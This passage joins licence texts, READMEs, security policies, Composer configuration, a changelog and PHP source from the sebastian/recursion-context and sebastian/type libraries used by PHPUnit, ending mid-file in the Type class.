2002-2025, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/recursion-context/v/stable.png)](https://packagist.org/packages/sebastian/recursion-context) [![CI Status](https://github.com/sebastianbergmann/recursion-context/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/recursion-context/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/recursion-context/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/recursion-context) [![codecov](https://codecov.io/gh/sebastianbergmann/recursion-context/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/recursion-context) # sebastian/recursion-context ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/recursion-context ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/recursion-context ``` # Security Policy If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "sebastian/recursion-context", "description": "Provides functionality to recursively process PHP variables", "homepage": "https://github.com/sebastianbergmann/recursion-context", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Adam Harvey", "email": "aharvey@php.net" } ], "support": { "issues": "https://github.com/sebastianbergmann/recursion-context/issues", "security": "https://github.com/sebastianbergmann/recursion-context/security/policy" }, "prefer-stable": true, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.5" }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-main": "5.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\RecursionContext; use const PHP_INT_MAX; use const PHP_INT_MIN; use function array_key_exists; use function array_pop; use function array_slice; use function count; use function is_array; use function random_int; use function spl_object_hash; use SplObjectStorage; final class Context { private array $arrays = []; private SplObjectStorage $objects; public function __construct() { $this->objects = new SplObjectStorage; } /** * @codeCoverageIgnore */ public function __destruct() { foreach ($this->arrays as &$array) { if (is_array($array)) { array_pop($array); array_pop($array); } } } /** * @psalm-template T of object|array * * @psalm-param T $value * * @param-out T $value */ public function add(array|object &$value): false|int|string { if (is_array($value)) { return $this->addArray($value); } return $this->addObject($value); } /** * @psalm-template T of object|array * * @psalm-param T $value * * @param-out T $value */ public function contains(array|object &$value): false|int|string { if (is_array($value)) { return $this->containsArray($value); } return $this->containsObject($value); } private function addArray(array &$array): int { $key = $this->containsArray($array); if ($key !== false) { return $key; } $key = count($this->arrays); $this->arrays[] = &$array; if (!array_key_exists(PHP_INT_MAX, $array) && !array_key_exists(PHP_INT_MAX - 1, $array)) { $array[] = $key; $array[] = $this->objects; } else { /* Cover the improbable case, too. * * Note that array_slice() (used in containsArray()) will return the * last two values added, *not necessarily* the highest integer keys * in the array. Therefore, the order of these writes to $array is * important, but the actual keys used is not. */ do { /** @noinspection PhpUnhandledExceptionInspection */ $key = random_int(PHP_INT_MIN, PHP_INT_MAX); } while (array_key_exists($key, $array)); $array[$key] = $key; do { /** @noinspection PhpUnhandledExceptionInspection */ $key = random_int(PHP_INT_MIN, PHP_INT_MAX); } while (array_key_exists($key, $array)); $array[$key] = $this->objects; } return $key; } private function addObject(object $object): string { if (!$this->objects->offsetExists($object)) { $this->objects->offsetSet($object); } return spl_object_hash($object); } private function containsArray(array $array): false|int { $end = array_slice($array, -2); return isset($end[1]) && $end[1] === $this->objects ? $end[0] : false; } private function containsObject(object $value): false|string { if ($this->objects->offsetExists($value)) { return spl_object_hash($value); } return false; } } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [4.0.0] - 2023-02-03 ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [3.2.1] - 2023-02-03 ### Fixed * [#28](https://github.com/sebastianbergmann/type/pull/28): Potential undefined offset warning/notice ## [3.2.0] - 2022-09-12 ### Added * [#25](https://github.com/sebastianbergmann/type/issues/25): Support Disjunctive Normal Form types * Added `ReflectionMapper::fromParameterTypes()` * Added `IntersectionType::types()` and `UnionType::types()` * Added `UnionType::containsIntersectionTypes()` ## [3.1.0] - 2022-08-29 ### Added * [#21](https://github.com/sebastianbergmann/type/issues/21): Support `true` as stand-alone type ## [3.0.0] - 2022-03-15 ### Added * Support for intersection types introduced in PHP 8.1 * Support for the `never` return type introduced in PHP 8.1 * Added `Type::isCallable()`, `Type::isGenericObject()`, `Type::isIterable()`, `Type::isMixed()`, `Type::isNever()`, `Type::isNull()`, `Type::isObject()`, `Type::isSimple()`, `Type::isStatic()`, `Type::isUnion()`, `Type::isUnknown()`, and `Type::isVoid()` ### Changed * Renamed `ReflectionMapper::fromMethodReturnType(ReflectionMethod $method)` to `ReflectionMapper::fromReturnType(ReflectionFunctionAbstract $functionOrMethod)` ### Removed * Removed `Type::getReturnTypeDeclaration()` (use `Type::asString()` instead and prefix its result with `': '`) * Removed `TypeName::getNamespaceName()` (use `TypeName::namespaceName()` instead) * Removed `TypeName::getSimpleName()` (use `TypeName::simpleName()` instead) * Removed `TypeName::getQualifiedName()` (use `TypeName::qualifiedName()` instead) ## [2.3.4] - 2021-06-15 ### Fixed * Fixed regression introduced in 2.3.3 ## [2.3.3] - 2021-06-15 [YANKED] ### Fixed * [#15](https://github.com/sebastianbergmann/type/issues/15): "false" pseudo type is not handled properly ## [2.3.2] - 2021-06-04 ### Fixed * Fixed handling of tentatively declared return types ## [2.3.1] - 2020-10-26 ### Fixed * `SebastianBergmann\Type\Exception` now correctly extends `\Throwable` ## [2.3.0] - 2020-10-06 ### Added * [#14](https://github.com/sebastianbergmann/type/issues/14): Support for `static` return type that is introduced in PHP 8 ## [2.2.2] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [2.2.1] - 2020-07-05 ### Fixed * Fixed handling of `mixed` type in `ReflectionMapper::fromMethodReturnType()` ## [2.2.0] - 2020-07-05 ### Added * Added `MixedType` object for representing PHP 8's `mixed` type ## [2.1.1] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [2.1.0] - 2020-06-01 ### Added * Added `UnionType` object for representing PHP 8's Union Types * Added `ReflectionMapper::fromMethodReturnType()` for mapping `\ReflectionMethod::getReturnType()` to a `Type` object * Added `Type::name()` for retrieving the name of a type * Added `Type::asString()` for retrieving a textual representation of a type ### Changed * Deprecated `Type::getReturnTypeDeclaration()` (use `Type::asString()` instead and prefix its result with `': '`) * Deprecated `TypeName::getNamespaceName()` (use `TypeName::namespaceName()` instead) * Deprecated `TypeName::getSimpleName()` (use `TypeName::simpleName()` instead) * Deprecated `TypeName::getQualifiedName()` (use `TypeName::qualifiedName()` instead) ## [2.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.2 ## [1.1.3] - 2019-07-02 ### Fixed * Fixed class name comparison in `ObjectType` to be case-insensitive ## [1.1.2] - 2019-06-19 ### Fixed * Fixed handling of `object` type ## [1.1.1] - 2019-06-08 ### Fixed * Fixed autoloading of `callback_function.php` fixture file ## [1.1.0] - 2019-06-07 ### Added * Added support for `callable` type * Added support for `iterable` type ## [1.0.0] - 2019-06-06 * Initial release based on [code contributed by Michel Hartmann to PHPUnit](https://github.com/sebastianbergmann/phpunit/pull/3673) [4.0.0]: https://github.com/sebastianbergmann/type/compare/3.2.1...4.0.0 [3.2.1]: https://github.com/sebastianbergmann/type/compare/3.2.0...3.2.1 [3.2.0]: https://github.com/sebastianbergmann/type/compare/3.1.0...3.2.0 [3.1.0]: https://github.com/sebastianbergmann/type/compare/3.0.0...3.1.0 [3.0.0]: https://github.com/sebastianbergmann/type/compare/2.3.4...3.0.0 [2.3.4]: https://github.com/sebastianbergmann/type/compare/ca39369c41313ed12c071ed38ecda8fcdb248859...2.3.4 [2.3.3]: https://github.com/sebastianbergmann/type/compare/2.3.2...ca39369c41313ed12c071ed38ecda8fcdb248859 [2.3.2]: https://github.com/sebastianbergmann/type/compare/2.3.1...2.3.2 [2.3.1]: https://github.com/sebastianbergmann/type/compare/2.3.0...2.3.1 [2.3.0]: https://github.com/sebastianbergmann/type/compare/2.2.2...2.3.0 [2.2.2]: https://github.com/sebastianbergmann/type/compare/2.2.1...2.2.2 [2.2.1]: https://github.com/sebastianbergmann/type/compare/2.2.0...2.2.1 [2.2.0]: https://github.com/sebastianbergmann/type/compare/2.1.1...2.2.0 [2.1.1]: https://github.com/sebastianbergmann/type/compare/2.1.0...2.1.1 [2.1.0]: https://github.com/sebastianbergmann/type/compare/2.0.0...2.1.0 [2.0.0]: https://github.com/sebastianbergmann/type/compare/1.1.3...2.0.0 [1.1.3]: https://github.com/sebastianbergmann/type/compare/1.1.2...1.1.3 [1.1.2]: https://github.com/sebastianbergmann/type/compare/1.1.1...1.1.2 [1.1.1]: https://github.com/sebastianbergmann/type/compare/1.1.0...1.1.1 [1.1.0]: https://github.com/sebastianbergmann/type/compare/1.0.0...1.1.0 [1.0.0]: https://github.com/sebastianbergmann/type/compare/ff74aa41746bd8d10e931843ebf37d42da513ede...1.0.0 BSD 3-Clause License Copyright (c) 2019-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/type/v/stable.png)](https://packagist.org/packages/sebastian/type) [![CI Status](https://github.com/sebastianbergmann/type/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/type/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/type/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/type) [![codecov](https://codecov.io/gh/sebastianbergmann/type/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/type) # sebastian/type Collection of value objects that represent the types of the PHP type system. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/type ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/type ``` # Security Policy This library is intended to be used in development environments only. For instance, it is used by the testing framework PHPUnit. There is no reason why this library should be installed on a webserver. **If you upload this library to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** ## Security Contact Information After the above, if you still would like to report a security vulnerability, please email `sebastian@phpunit.de`. { "name": "sebastian/type", "description": "Collection of value objects that represent the types of the PHP type system", "type": "library", "homepage": "https://github.com/sebastianbergmann/type", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/type/issues" }, "prefer-stable": true, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture" ], "files": [ "tests/_fixture/callback_function.php", "tests/_fixture/functions_that_declare_return_types.php" ] }, "extra": { "branch-alias": { "dev-main": "4.0-dev" } } } { "source": { "directories": [ "src" ] }, "mutators": { "@default": true }, "minMsi": 100, "minCoveredMsi": 100 } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class Parameter { /** * @psalm-var non-empty-string */ private string $name; private Type $type; /** * @psalm-param non-empty-string $name */ public function __construct(string $name, Type $type) { $this->name = $name; $this->type = $type; } public function name(): string { return $this->name; } public function type(): Type { return $this->type; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function assert; use ReflectionFunction; use ReflectionIntersectionType; use ReflectionMethod; use ReflectionNamedType; use ReflectionType; use ReflectionUnionType; final class ReflectionMapper { /** * @psalm-return list */ public function fromParameterTypes(ReflectionFunction|ReflectionMethod $functionOrMethod): array { $parameters = []; foreach ($functionOrMethod->getParameters() as $parameter) { $name = $parameter->getName(); assert($name !== ''); if (!$parameter->hasType()) { $parameters[] = new Parameter($name, new UnknownType); continue; } $type = $parameter->getType(); if ($type instanceof ReflectionNamedType) { $parameters[] = new Parameter( $name, $this->mapNamedType($type, $functionOrMethod) ); continue; } if ($type instanceof ReflectionUnionType) { $parameters[] = new Parameter( $name, $this->mapUnionType($type, $functionOrMethod) ); continue; } if ($type instanceof ReflectionIntersectionType) { $parameters[] = new Parameter( $name, $this->mapIntersectionType($type, $functionOrMethod) ); } } return $parameters; } public function fromReturnType(ReflectionFunction|ReflectionMethod $functionOrMethod): Type { if (!$this->hasReturnType($functionOrMethod)) { return new UnknownType; } $returnType = $this->returnType($functionOrMethod); assert($returnType instanceof ReflectionNamedType || $returnType instanceof ReflectionUnionType || $returnType instanceof ReflectionIntersectionType); if ($returnType instanceof ReflectionNamedType) { return $this->mapNamedType($returnType, $functionOrMethod); } if ($returnType instanceof ReflectionUnionType) { return $this->mapUnionType($returnType, $functionOrMethod); } if ($returnType instanceof ReflectionIntersectionType) { return $this->mapIntersectionType($returnType, $functionOrMethod); } } private function mapNamedType(ReflectionNamedType $type, ReflectionFunction|ReflectionMethod $functionOrMethod): Type { if ($functionOrMethod instanceof ReflectionMethod && $type->getName() === 'self') { return ObjectType::fromName( $functionOrMethod->getDeclaringClass()->getName(), $type->allowsNull() ); } if ($functionOrMethod instanceof ReflectionMethod && $type->getName() === 'static') { return new StaticType( TypeName::fromReflection($functionOrMethod->getDeclaringClass()), $type->allowsNull() ); } if ($type->getName() === 'mixed') { return new MixedType; } if ($functionOrMethod instanceof ReflectionMethod && $type->getName() === 'parent') { return ObjectType::fromName( $functionOrMethod->getDeclaringClass()->getParentClass()->getName(), $type->allowsNull() ); } return Type::fromName( $type->getName(), $type->allowsNull() ); } private function mapUnionType(ReflectionUnionType $type, ReflectionFunction|ReflectionMethod $functionOrMethod): Type { $types = []; foreach ($type->getTypes() as $_type) { assert($_type instanceof ReflectionNamedType || $_type instanceof ReflectionIntersectionType); if ($_type instanceof ReflectionNamedType) { $types[] = $this->mapNamedType($_type, $functionOrMethod); continue; } $types[] = $this->mapIntersectionType($_type, $functionOrMethod); } return new UnionType(...$types); } private function mapIntersectionType(ReflectionIntersectionType $type, ReflectionFunction|ReflectionMethod $functionOrMethod): Type { $types = []; foreach ($type->getTypes() as $_type) { assert($_type instanceof ReflectionNamedType); $types[] = $this->mapNamedType($_type, $functionOrMethod); } return new IntersectionType(...$types); } private function hasReturnType(ReflectionFunction|ReflectionMethod $functionOrMethod): bool { if ($functionOrMethod->hasReturnType()) { return true; } return $functionOrMethod->hasTentativeReturnType(); } private function returnType(ReflectionFunction|ReflectionMethod $functionOrMethod): ?ReflectionType { if ($functionOrMethod->hasReturnType()) { return $functionOrMethod->getReturnType(); } return $functionOrMethod->getTentativeReturnType(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function array_pop; use function explode; use function implode; use function substr; use ReflectionClass; final class TypeName { private ?string $namespaceName; private string $simpleName; public static function fromQualifiedName(string $fullClassName): self { if ($fullClassName[0] === '\\') { $fullClassName = substr($fullClassName, 1); } $classNameParts = explode('\\', $fullClassName); $simpleName = array_pop($classNameParts); $namespaceName = implode('\\', $classNameParts); return new self($namespaceName, $simpleName); } public static function fromReflection(ReflectionClass $type): self { return new self( $type->getNamespaceName(), $type->getShortName() ); } public function __construct(?string $namespaceName, string $simpleName) { if ($namespaceName === '') { $namespaceName = null; } $this->namespaceName = $namespaceName; $this->simpleName = $simpleName; } public function namespaceName(): ?string { return $this->namespaceName; } public function simpleName(): string { return $this->simpleName; } public function qualifiedName(): string { return $this->namespaceName === null ? $this->simpleName : $this->namespaceName . '\\' . $this->simpleName; } public function isNamespaced(): bool { return $this->namespaceName !== null; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class RuntimeException extends \RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function assert; use function class_exists; use function count; use function explode; use function function_exists; use function is_array; use function is_object; use function is_string; use function str_contains; use Closure; use ReflectionClass; use ReflectionObject; final class CallableType extends Type { private bool $allowsNull; public function __construct(bool $nullable) { $this->allowsNull = $nullable; } public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if ($other instanceof self) { return true; } if ($other instanceof ObjectType) { if ($this->isClosure($other)) { return true; } if ($this->hasInvokeMethod($other)) { return true; } } if ($other instanceof SimpleType) { if ($this->isFunction($other)) { return true; } if ($this->isClassCallback($other)) { return true; } if ($this->isObjectCallback($other)) { return true; } } return false; } public function name(): string { return 'callable'; } public function allowsNull(): bool { return $this->allowsNull; } /** * @psalm-assert-if-true CallableType $this */ public function isCallable(): bool { return true; } private function isClosure(ObjectType $type): bool { return $type->className()->qualifiedName() === Closure::class; } private function hasInvokeMethod(ObjectType $type): bool { $className = $type->className()->qualifiedName(); assert(class_exists($className)); return (new ReflectionClass($className))->hasMethod('__invoke'); } private function isFunction(SimpleType $type): bool { if (!is_string($type->value())) { return false; } return function_exists($type->value()); } private function isObjectCallback(SimpleType $type): bool { if (!is_array($type->value())) { return false; } if (count($type->value()) !== 2) { return false; } if (!isset($type->value()[0], $type->value()[1])) { return false; } if (!is_object($type->value()[0]) || !is_string($type->value()[1])) { return false; } [$object, $methodName] = $type->value(); return (new ReflectionObject($object))->hasMethod($methodName); } private function isClassCallback(SimpleType $type): bool { if (!is_string($type->value()) && !is_array($type->value())) { return false; } if (is_string($type->value())) { if (!str_contains($type->value(), '::')) { return false; } [$className, $methodName] = explode('::', $type->value()); } if (is_array($type->value())) { if (count($type->value()) !== 2) { return false; } if (!isset($type->value()[0], $type->value()[1])) { return false; } if (!is_string($type->value()[0]) || !is_string($type->value()[1])) { return false; } [$className, $methodName] = $type->value(); } assert(isset($className) && is_string($className)); assert(isset($methodName) && is_string($methodName)); if (!class_exists($className)) { return false; } $class = new ReflectionClass($className); if (!$class->hasMethod($methodName)) { return false; } $method = $class->getMethod($methodName); return $method->isPublic() && $method->isStatic(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class FalseType extends Type { public function isAssignable(Type $other): bool { if ($other instanceof self) { return true; } return $other instanceof SimpleType && $other->name() === 'bool' && $other->value() === false; } public function name(): string { return 'false'; } public function allowsNull(): bool { return false; } /** * @psalm-assert-if-true FalseType $this */ public function isFalse(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class GenericObjectType extends Type { private bool $allowsNull; public function __construct(bool $nullable) { $this->allowsNull = $nullable; } public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if (!$other instanceof ObjectType) { return false; } return true; } public function name(): string { return 'object'; } public function allowsNull(): bool { return $this->allowsNull; } /** * @psalm-assert-if-true GenericObjectType $this */ public function isGenericObject(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function assert; use function count; use function implode; use function in_array; use function sort; final class IntersectionType extends Type { /** * @psalm-var non-empty-list */ private array $types; /** * @throws RuntimeException */ public function __construct(Type ...$types) { $this->ensureMinimumOfTwoTypes(...$types); $this->ensureOnlyValidTypes(...$types); $this->ensureNoDuplicateTypes(...$types); $this->types = $types; } public function isAssignable(Type $other): bool { return $other->isObject(); } public function asString(): string { return $this->name(); } public function name(): string { $types = []; foreach ($this->types as $type) { $types[] = $type->name(); } sort($types); return implode('&', $types); } public function allowsNull(): bool { return false; } /** * @psalm-assert-if-true IntersectionType $this */ public function isIntersection(): bool { return true; } /** * @psalm-return non-empty-list */ public function types(): array { return $this->types; } /** * @throws RuntimeException */ private function ensureMinimumOfTwoTypes(Type ...$types): void { if (count($types) < 2) { throw new RuntimeException( 'An intersection type must be composed of at least two types' ); } } /** * @throws RuntimeException */ private function ensureOnlyValidTypes(Type ...$types): void { foreach ($types as $type) { if (!$type->isObject()) { throw new RuntimeException( 'An intersection type can only be composed of interfaces and classes' ); } } } /** * @throws RuntimeException */ private function ensureNoDuplicateTypes(Type ...$types): void { $names = []; foreach ($types as $type) { assert($type instanceof ObjectType); $classQualifiedName = $type->className()->qualifiedName(); if (in_array($classQualifiedName, $names, true)) { throw new RuntimeException('An intersection type must not contain duplicate types'); } $names[] = $classQualifiedName; } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function assert; use function class_exists; use function is_iterable; use ReflectionClass; final class IterableType extends Type { private bool $allowsNull; public function __construct(bool $nullable) { $this->allowsNull = $nullable; } /** * @throws RuntimeException */ public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if ($other instanceof self) { return true; } if ($other instanceof SimpleType) { return is_iterable($other->value()); } if ($other instanceof ObjectType) { $className = $other->className()->qualifiedName(); assert(class_exists($className)); return (new ReflectionClass($className))->isIterable(); } return false; } public function name(): string { return 'iterable'; } public function allowsNull(): bool { return $this->allowsNull; } /** * @psalm-assert-if-true IterableType $this */ public function isIterable(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class MixedType extends Type { public function isAssignable(Type $other): bool { return !$other instanceof VoidType; } public function asString(): string { return 'mixed'; } public function name(): string { return 'mixed'; } public function allowsNull(): bool { return true; } /** * @psalm-assert-if-true MixedType $this */ public function isMixed(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class NeverType extends Type { public function isAssignable(Type $other): bool { return $other instanceof self; } public function name(): string { return 'never'; } public function allowsNull(): bool { return false; } /** * @psalm-assert-if-true NeverType $this */ public function isNever(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class NullType extends Type { public function isAssignable(Type $other): bool { return !($other instanceof VoidType); } public function name(): string { return 'null'; } public function asString(): string { return 'null'; } public function allowsNull(): bool { return true; } /** * @psalm-assert-if-true NullType $this */ public function isNull(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function is_subclass_of; use function strcasecmp; final class ObjectType extends Type { private TypeName $className; private bool $allowsNull; public function __construct(TypeName $className, bool $allowsNull) { $this->className = $className; $this->allowsNull = $allowsNull; } public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if ($other instanceof self) { if (0 === strcasecmp($this->className->qualifiedName(), $other->className->qualifiedName())) { return true; } if (is_subclass_of($other->className->qualifiedName(), $this->className->qualifiedName(), true)) { return true; } } return false; } public function name(): string { return $this->className->qualifiedName(); } public function allowsNull(): bool { return $this->allowsNull; } public function className(): TypeName { return $this->className; } /** * @psalm-assert-if-true ObjectType $this */ public function isObject(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function strtolower; final class SimpleType extends Type { private string $name; private bool $allowsNull; private mixed $value; public function __construct(string $name, bool $nullable, mixed $value = null) { $this->name = $this->normalize($name); $this->allowsNull = $nullable; $this->value = $value; } public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if ($this->name === 'bool' && $other->name() === 'true') { return true; } if ($this->name === 'bool' && $other->name() === 'false') { return true; } if ($other instanceof self) { return $this->name === $other->name; } return false; } public function name(): string { return $this->name; } public function allowsNull(): bool { return $this->allowsNull; } public function value(): mixed { return $this->value; } /** * @psalm-assert-if-true SimpleType $this */ public function isSimple(): bool { return true; } private function normalize(string $name): string { $name = strtolower($name); return match ($name) { 'boolean' => 'bool', 'real', 'double' => 'float', 'integer' => 'int', '[]' => 'array', default => $name, }; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function is_subclass_of; use function strcasecmp; final class StaticType extends Type { private TypeName $className; private bool $allowsNull; public function __construct(TypeName $className, bool $allowsNull) { $this->className = $className; $this->allowsNull = $allowsNull; } public function isAssignable(Type $other): bool { if ($this->allowsNull && $other instanceof NullType) { return true; } if (!$other instanceof ObjectType) { return false; } if (0 === strcasecmp($this->className->qualifiedName(), $other->className()->qualifiedName())) { return true; } if (is_subclass_of($other->className()->qualifiedName(), $this->className->qualifiedName(), true)) { return true; } return false; } public function name(): string { return 'static'; } public function allowsNull(): bool { return $this->allowsNull; } /** * @psalm-assert-if-true StaticType $this */ public function isStatic(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; final class TrueType extends Type { public function isAssignable(Type $other): bool { if ($other instanceof self) { return true; } return $other instanceof SimpleType && $other->name() === 'bool' && $other->value() === true; } public function name(): string { return 'true'; } public function allowsNull(): bool { return false; } /** * @psalm-assert-if-true TrueType $this */ public function isTrue(): bool { return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function gettype; use function strtolower; abstract class Type { public static function fromValue(mixed $value, bool $allowsNull): self { if ($allowsNull === false) { if ($value === true) { return new TrueType; } if ($value === false) { return new FalseType; } } $typeName = gettype($value); if ($typeName === 'object') { return new ObjectType(TypeName::fromQualifiedName($value::class), $allowsNull); } $type = self::fromName($typeName, $allowsNull); if ($type instanceof SimpleType) { $type = new SimpleType($typeName, $allowsNull, $value); } return $type; } public static function fromName(string $typeName, bool $allowsNull): self { return match (strtolower($typeName)) { 'callable' => new CallableType($allowsNull), 'true' => new TrueType, 'false' => new FalseType, 'iterable' => new IterableType($allowsNull), 'never' => new NeverType, 'null' => new NullType, 'object' => new GenericObjectType($allowsNull), 'unknown type' => new UnknownType, 'void' => new VoidType, 'array', 'bool', 'boolean', 'double', 